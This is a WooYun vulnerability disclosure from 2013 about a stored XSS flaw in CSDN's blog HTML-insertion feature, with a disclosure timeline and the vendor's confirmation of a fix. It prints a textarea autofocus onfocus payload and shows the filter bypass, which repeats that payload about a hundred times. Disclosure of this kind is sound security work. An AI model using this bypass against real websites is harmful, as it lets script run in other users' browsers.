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缺陷编号：wooyun-2013-036870

漏洞标题：csdn个人博客存储型xss(过滤器的另类绕过)

相关厂商：CSDN开发者社区

漏洞作者： mramydnei

提交时间：2013-09-12 13:38

修复时间：2013-10-27 13:38

公开时间：2013-10-27 13:38

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-12： 细节已通知厂商并且等待厂商处理中
2013-09-12： 厂商已经确认，细节仅向厂商公开
2013-09-22： 细节向核心白帽子及相关领域专家公开
2013-10-02： 细节向普通白帽子公开
2013-10-12： 细节向实习白帽子公开
2013-10-27： 细节向公众公开

简要描述：

这个不能说是过滤不严格了，也许你们需要新的测试方式了。
另外，想问一下xsser以及各位管理员，审核员同学。我们想申请个团队 叫屌丝酒吧。希望帮忙处理一下。thx!

详细说明：

我们做个简单的测试吧。
比如说，我们通过html代码插入功能，来插入这样的一个payload:

<textarea onfocus=javascript:alert(41) autofocus>


保存之后，它大概就会变成这样：

<textarea></textare>


看上去很厉害的样子吧。那让我们再来做一个有趣的测试（我们应该管这个叫什么呢？xss压力测试？ 开个玩笑！ 我也是无意间发现的）
让我们试着将一个payload复制成100个payload同时插入，并保存：

<textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus>


发布之后，alert(1)再一次弹起。 我只能说 我和我的小伙伴们都惊呆了！

漏洞证明：

csdn1.jpg


csdn2.jpg

修复方案：

屌丝程序员也是需要隐私的。所以。。。 请 亲爱的相关人员，修复一下吧！

版权声明：转载请注明来源 mramydnei@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-09-12 16:26

厂商回复：

确认漏洞。

最新状态：

2013-09-12：修复漏洞